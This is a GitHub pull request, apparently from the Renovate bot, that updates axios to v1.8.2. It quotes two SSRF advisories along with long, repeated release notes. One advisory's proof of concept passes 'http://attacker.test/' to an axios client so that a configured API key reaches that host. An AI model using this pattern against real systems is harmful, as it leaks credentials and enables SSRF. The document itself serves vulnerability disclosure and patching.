Skip to content

Update dependency axios to v1.8.2 [SECURITY]#174

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-axios-vulnerability
Open

Update dependency axios to v1.8.2 [SECURITY]#174
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-axios-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Aug 13, 2024

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.7.31.8.2 age confidence

GitHub Vulnerability Alerts

CVE-2024-39338

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v1.8.2

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.1

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.0

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.7.9

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES
  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

1.7.4 (2024-08-13)

Bug Fixes
Contributors to this release

1.7.3 (2024-08-01)

Bug Fixes
Contributors to this release

1.7.2 (2024-05-21)

Bug Fixes
Contributors to this release

1.7.1 (2024-05-20)

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.8

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES
  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) ([fed1a4b](https

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 526d003 to 4ae15ee Compare August 28, 2024 08:20
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4ae15ee to 0d71600 Compare September 9, 2024 03:34
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 0d71600 to 08ce34f Compare September 23, 2024 03:04
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 08ce34f to 9f2670f Compare October 7, 2024 03:17
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 264b208 to 1228b41 Compare November 4, 2024 04:17
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 1228b41 to fbb4db3 Compare November 18, 2024 06:26
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from fbb4db3 to b3a9e69 Compare December 2, 2024 11:03
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from b3a9e69 to dfba4e7 Compare December 23, 2024 04:34
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from dfba4e7 to d90debe Compare January 6, 2025 04:02
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from d90debe to 1d77b57 Compare January 20, 2025 10:22
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 1d77b57 to ab31310 Compare February 9, 2025 13:46
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ab31310 to 5ea0fdb Compare February 24, 2025 11:43
@renovate renovate bot changed the title Update dependency axios to v1.7.4 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Mar 10, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 5ea0fdb to ed04459 Compare March 10, 2025 12:16
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ed04459 to 230ff70 Compare March 28, 2025 16:11
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.7.4 [SECURITY] Mar 28, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 230ff70 to b882f85 Compare April 7, 2025 12:23
@renovate renovate bot changed the title Update dependency axios to v1.7.4 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Apr 7, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from b882f85 to 7af2013 Compare April 24, 2025 14:55
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 7af2013 to a9dcbd5 Compare May 19, 2025 16:59
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from a9dcbd5 to c592278 Compare May 28, 2025 14:43
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from c592278 to 8b2715a Compare June 22, 2025 15:02
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 8b2715a to 460c730 Compare June 30, 2025 04:39
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 460c730 to fbc021e Compare July 21, 2025 11:40
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from fbc021e to 991e41c Compare August 13, 2025 13:57
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 991e41c to 333a818 Compare August 31, 2025 14:12
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 333a818 to e3da1ab Compare September 25, 2025 15:01
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from e3da1ab to 4decbdb Compare October 13, 2025 09:09
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4decbdb to 28d498a Compare November 10, 2025 05:47
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 28d498a to ab9eb54 Compare November 18, 2025 22:55
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ab9eb54 to fcee9ed Compare December 3, 2025 19:03
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from fcee9ed to 4304ad6 Compare December 31, 2025 12:56
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4304ad6 to b32e15a Compare January 8, 2026 17:33
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from b32e15a to 4705853 Compare February 12, 2026 16:45
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4705853 to 99dd7a4 Compare February 17, 2026 16:35
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants